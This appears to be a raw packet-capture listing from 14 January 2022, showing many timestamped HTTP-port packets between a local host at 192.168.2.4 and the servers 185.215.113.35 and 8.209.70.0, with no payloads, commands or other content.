Jan 14, 2022 09:26:02.219769001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219773054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.219866037 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.220053911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220061064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220063925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220227957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220238924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220407963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220417976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220587969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220596075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220763922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220772028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220958948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.220973969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221132994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221143007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221327066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221334934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221494913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221503973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221577883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.221620083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221745968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221755028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221929073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.221937895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222089052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222095966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222258091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222265005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222423077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222430944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222593069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222600937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222757101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222764015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222928047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.222934961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223093987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223100901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223264933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223270893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223426104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223433018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223596096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223602057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223761082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223767996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223953962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.223961115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.224142075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.224411964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.224561930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.224900007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.224906921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225099087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225347042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225353956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225507975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225626945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225747108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.225881100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226124048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226131916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226365089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226370096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226610899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226619959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226855040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.226866007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227097988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227106094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227334023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227339983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227579117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227586031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227783918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227791071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227966070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.227972984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.228144884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.228151083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.228326082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.228333950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.233522892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.233552933 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.234257936 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.258569956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.258610964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.258795977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.258815050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.258955002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.258971930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259135962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259236097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259254932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259432077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259449959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259608984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259624004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259800911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259818077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259977102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.259995937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260164022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260180950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260318995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260438919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260591984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260612011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260778904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260801077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260957003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.260977030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261142969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261162043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261318922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261339903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261502028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261522055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261677027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261693954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261871099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.261888981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262047052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262064934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262231112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262248039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262408018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262425900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262593031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262614012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262789011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262804031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262979031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.262999058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263197899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263219118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263443947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263463020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263631105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263643980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.263784885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264027119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264039993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264364004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264374971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264535904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264544964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264723063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264734030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264895916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.264905930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265089035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265099049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265285969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265294075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265463114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265474081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265645027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265654087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265825033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.265835047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266007900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266019106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266184092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266195059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266366005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266376019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266544104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.266554117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275448084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275476933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275574923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275579929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275753021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275765896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275943995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.275955915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276134968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276144981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276307106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276319981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276484966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276494980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276668072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276680946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276842117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.276854038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.277028084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.277040958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.277887106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.292040110 CET	49903	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.297501087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.299784899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.302638054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.302824974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.302845001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303178072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303189039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303352118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303369999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303555012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303574085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303735971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303755045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303921938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.303936005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304112911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304131031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304290056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304306984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304477930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304496050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304663897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304678917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304852009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.304872990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305030107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305044889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305211067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305228949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305392027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305408955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305581093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305603027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305775881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305799961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305977106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.305999041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306154966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306180000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306338072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306360960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306528091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306552887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306734085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306756973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306921959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.306941986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307115078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307157040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307311058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307336092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307499886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307519913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307694912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307719946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307893038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307914019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.307964087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.308032036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.308121920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.308711052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.308733940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.308995008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309420109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309441090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309591055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309611082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309824944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309849024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309973001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.309993982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310174942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310192108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310340881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310353994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310518980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310535908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310812950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310827017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.310834885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311007023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311029911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311177969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311192036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311368942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311386108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311542988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311557055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311734915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311752081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311913967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.311928034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312108040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312119007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312184095 CET	80	49903	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.312381029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312381029 CET	49903	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.312406063 CET	49903	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.312465906 CET	49903	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.312669992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312688112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312695026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312844038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.312864065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.314404964 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.314446926 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.314476013 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.314501047 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.314740896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.314790964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.314800024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.317287922 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.317317009 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.317423105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.317888975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.317910910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.317919016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.318391085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.329993963 CET	80	49903	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.330032110 CET	80	49903	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.331067085 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.331216097 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.331902027 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.336515903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.336570024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.336695910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.336714029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.336857080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.336873055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337024927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337040901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337214947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337229013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337392092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337408066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337560892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337574959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337740898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337752104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337915897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.337933064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338099003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338108063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338267088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338284016 CET	49891	80	192.168.2.4	185.215.113.35
